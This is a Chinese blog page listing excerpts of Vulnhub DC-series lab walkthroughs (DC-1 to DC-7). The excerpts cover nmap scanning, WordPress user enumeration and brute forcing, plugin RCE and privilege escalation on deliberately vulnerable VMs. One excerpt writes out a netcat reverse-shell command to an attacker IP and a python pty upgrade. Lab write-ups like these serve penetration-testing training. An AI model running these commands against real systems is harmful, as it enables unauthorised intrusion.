八 Vulnhub靶机实战——DC-6

最新推荐文章于 2024-07-15 00:10:44 发布
转载 最新推荐文章于 2024-07-15 00:10:44 发布 · 249 阅读 · 0 ·
CC 4.0 BY-SA版权
原文链接：https://blog.youkuaiyun.com/weixin_43583637/article/details/102785246

本文详细介绍了在 Vulnhub 平台上进行 DC-6 靶机实战的过程，包括渗透测试的各个阶段，从信息收集到漏洞利用，再到权限提升，最后实现对目标系统的完全控制。
【vulnhub】---DC-6靶机
qq_43168364的博客
08-21 830
目录 一、实验环境 二、信息收集 三、渗透测试 　　1、漏洞发现和利用 　　2、提权 四、总结 一、实验环境 靶机：靶机(192.168.15.154) 攻击机：kali Linux(192.168.15.129) 二、信息收集 主机发现 命令：nmap -sn 192.168.15.0/24 命令：netdiscover -i eth0 -r 192.168.15.0/24 端口扫描 版本探测和操作系统识别 web指纹识别 网站目录扫描 三、渗透测试 1、漏洞发现和利用 2、提权 四、总结 渗
Vulnhub靶机实战——DC-6
冠霖L的博客
10-28 4068
靶机DC-6下载地址：https://download.vulnhub.com/dc/DC-6.zip 环境：VMware 15虚拟机软件 DC-6靶机IP地址：192.168.220.139 Kali的IP地址：192.168.220.142 DC-6靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.142...
vulnhub DC: 6
箭雨镜屋
01-12 1077
渗透思路： nmap扫描---->wpscan枚举wordpress用户---->wpscan暴力破解wordpress用户名密码---->利用RCE漏洞getshell---->sudo提权
VulnHub—DC-6
weixin_39219503的博客
02-01 400
01 环境搭建 靶机环境下载：https://www.vulnhub.com/entry/dc-6,315/ 题目信息如下 Description DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. T...
Vulnhub DC-6
柠檬木有枝
07-14 565
nmap 扫描服务 修改 hosts 文件 发现是 wordpress wpscan --url http://wordy/ --enumerate u 查看wordpress用户 爆破得密码 mark:helpdesk01 发现 active monitor 插件 搜索 exp ，反弹 shell 发现用户名密码 python -c 'import pty;pty.spawn("/b...
Vulnhub靶机实战——DC-4
冠霖L的博客
09-27 3362
靶机DC-4下载地址：https://download.vulnhub.com/dc/DC-4.zip 描述：从靶机DC-3开始，只有一个入口和一个最终的flag，只有拿到root权限才可以发现最终的flag，DC-4也是一样 环境：Vmware 15 Pro虚拟机软件 DC-4靶机IP地址：192.168.220.138 Kali的IP地址：...
Vulnhub靶机渗透测试——DC-1
Cobra的博客
04-12 2727
Vulnhub靶机渗透测试实战——DC-1 一、实验环境 攻击机（kali）: 192.168.189.148 靶机（ubuntu）: 192.168.189.172] 二、信息收集 1、使用nmap扫描进行主机发现 nmap 192.168.189.0/24 2、发现IP为192.168.189.172主机开放80和22等端口，访问其80端口 三、漏洞利用 1、发现该站点是由Drupal搭建，利用msf进行漏洞利用 use exploit/unix/webapp/drupal_drupalgedd
Vulnhub靶机实战——DC-7
冠霖L的博客
10-29 5316
靶机DC-7下载地址：https://download.vulnhub.com/dc/DC-7.zip 环境：VMware 15虚拟机软件 DC-7靶机IP地址：192.168.220.154 Kali的IP地址：192.168.220.155 DC-6靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.155...
vulnhub靶机渗透DC-5
RestoreJustice的博客
03-17 308
前面收集信息，我们知道靶机使用nginx站点，nginx日志默认路径为/var/log/nginx/access.log。直接访问：http://192.168.80.134/%3C?反弹shell到kail中：nc -e /bin/bash/ 192.168.80.130 10086，然后利用python反弹，获得交互式shell，方便使用：python -c ‘import pty;这里连接到虚拟网卡1。下载地址：https://www.vulnhub.com/entry/dc-5,314/
Vulnhub靶机实战——DC-3
冠霖L的博客
09-27 9330
靶机DC-3下载地址：https://download.vulnhub.com/dc/DC-3.zip 靶机DC-3VMware下载地址：https://download.vulnhub.com/dc/DC-3VMware.zip 注：开始将DC-3.ova文件导入VMware虚拟机，发现无法获取到靶机IP地址，作者在DC-3靶机下载页面提到可以下载已经搭建好的DC-3VMware，然...
vulnhub之dc6
qq_54030686的博客
06-14 969
DC系列第六篇，整体而言难度较低，此篇之后，不再进行较为细致的篇幅 总体逻辑：话不多说，开始干 主机发现，端口扫描 目标IP为192.168.43.140 开放两个端口22 和80 端口，其中80端口对应的服务为wordy,修改hosts文件，路径为/etc/hosts，添加值 22端口尝试进行爆破，采用用户名top50，字典使用弱口令top100进行尝试 未发现相应结果 进行指纹识别 发现为wordpress框架，使用wordpress专用扫描器进行检测，使用-e参数爆破用户 存在5个用户复制变异成字典
vulnhub渗透测试靶机DC-6
weixin_46128614的博客
01-19 612
靶机地址：https://www.vulnhub.com/entry/dc-6,315/ nmap –sS –sV –p- -T5 dirb跑一下，全是wp的目录 上wpscan 改一下hosts 加一条 192.168.49.20 wordy 没有发现漏洞 发现几个用户 逐一爆破吧 开开心心爆了半个小时，进度0.1%，这么多用户感觉爆破思路不会错，看了一眼师傅的wp，原来作者在vulnhu...
Vulnhub:DC-6
weixin_69670995的博客
07-15 464
将靶机导入Oracle VM VirtualBox中，使用仅主机模式，网卡使用和kali相同的网卡开启靶机。
Vulnhub-DC-6
T1me
10-30 333
入门系列第三弹DC-6 基本信息 下载地址：DC-6 靶机：vmware，192.168.172.138 攻击机：kali2 Flag：1个 渗透过程 0x01 nmap扫描 扫描一下，只有22和80开放，然后注意一下作者告诉我们配置一下host了，记得改成wordy。 0x02 漏洞发现 访问wordy后，发现还是和之前的dc-2一个界面啊，估计又是wp吧。 访问一下/wp-admin成功之后，确认就是wp了，wpscan一样先扫一手用户名。然后保存一下，准备爆破。 wpscan --url http
Vulnhub_DC-6
高野02blog
01-20 214
Vulnhub提示： 扫描靶机IP地址:nmap -sP 192.168.10.0/24 扫描端口信息：nmap -sV -p 1-65535 -A 192.168.10.129 开放端口22，80 访问80端口发现URL被重定向到wordy 我们需要在host文件中添加 文件位置 /etc/hosts 可以访问到啦 扫描下目录结构吧， 御剑扫描 发现是wordpress站点 使用WPscan扫描 一款专注于wordpress站点扫描工具 wpscan -url
[Vulnhub] DC-6
weixin_63231007的博客
01-29 570
DC系列靶机-第六弹(wp-Activity monitor插件rce漏洞getshell&nmap提权)
Vulnhub靶机之DC-6
m0_60911102的博客
11-30 1042
Vulnhub靶机之DC-6
vulnhub靶机dc-1
最新发布
01-11
### VulnHub DC-1 靶机 攻略 介绍 下载 #### 关于DC-1靶机 VulnHub上的DC-1靶机旨在提供给安全爱好者和渗透测试学习者一个实践平台，在此环境中可以合法地进行各种攻击尝试，从而提升技能。该虚拟环境模拟了一个...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值